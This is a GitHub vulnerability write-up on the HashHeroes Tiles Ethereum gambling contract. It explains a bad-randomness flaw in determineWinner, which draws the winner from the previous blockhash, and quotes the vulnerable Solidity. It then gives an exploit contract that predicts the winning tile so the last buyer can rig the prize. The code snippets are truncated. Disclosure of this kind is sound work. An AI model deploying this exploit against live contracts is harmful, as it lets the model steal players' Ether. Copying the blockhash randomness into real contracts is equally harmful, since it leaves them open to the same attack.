Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Type Name Latest commit message Commit time
Failed to load latest commit information.




Vulnerability Type

Bad Randomness


The determineWinner function of a smart contract implementation for HashHeroes Tiles, an Ethereum game, uses a certain blockhash value in an attempt to generate a random number for the case where NUM_TILES equals the number of people who purchased a tile, which allows an attacker to control the awarding of the prize by being the last person to purchase a tile.


Figure 1. HashHeroes Dapp Website

It is a gambling game. Invoke the determineWinner function when the value of the NUM_TILES variable is the same as the number of people who purchased the tile. The number of people who purchased the tile and the value of NUM_TILES are known. Therefore, the last person to buy the tile is known. The determineWinner function generates an unsafe random value. The last person to buy a tile can decide who will receive the prize.

    function claimTile(uint xCoord, uint yCoord, uint gameNumber) gameRunning payable {
        if (gameNumber != currentGameNumber || tiles[xCoord][yCoord].gameClaimed == currentGameNumber) {
        require(msg.value == currentGameCost);

        currentGameBalance += msg.value;
        tiles[xCoord][yCoord] = Tile(currentGameNumber, msg.sender);
        TileClaimed(currentGameNumber, xCoord, yCoord, msg.sender);
        numTilesClaimed += 1;
        if (numTilesClaimed == NUM_TILES) {
    function determineWinner() private {
        bytes32 winningHash = block.blockhash(block.number - 1);
        byte winningPair = winningHash[31];
        uint256 winningX = getRightCoordinate(winningPair);
        uint256 winningY = getLeftCoordinate(winningPair);
        address winner = tiles[winningX][winningY].claimedBy;
        PrintWinningInfo(winningHash, winningX, winningY);
        GameWon(currentGameNumber, winner);

winningHash is predictable random number.


In the exploit function (constructor), x and y are input to the recipient. The attack function compares the value of numTiesClaimed with 255. This is because the winner is picked right after that. Therefore, we can get the winner's x and y, and proceed with the transaction if they are equal to x, y defined in the constructor.

contract exploit{
    Tiles target;
    uint public number_x;
    uint public number_y;
    uint public xCoord;
    uint public yCoord;

    function getRightCoordinate(byte input) returns(uint) {
        byte val = input & byte(15);
        return uint(val);

    function getLeftCoordinate(byte input) returns(uint) {
        byte val = input >> 4;
        return uint(val);
    function exploit(address _target, uint x, uint y) {
        target = Tiles(_target);
        number_x = x;
        number_y = y;

    function attack() {
        if(target.numTilesClaimed() == 255) {
            bytes32 winningHash = block.blockhash(block.number-1);
            byte winningPair = winningHash[31];
            if(number_x == getRightCoordinate(winningPair) && number_y == getLeftCoordinate(winningPair)) {



The attacker can always win the game and get Ether. It is hard to make secure random number in solidity. Check out other "Bad Randomness" CVE in our


Official Website





Team Code4Block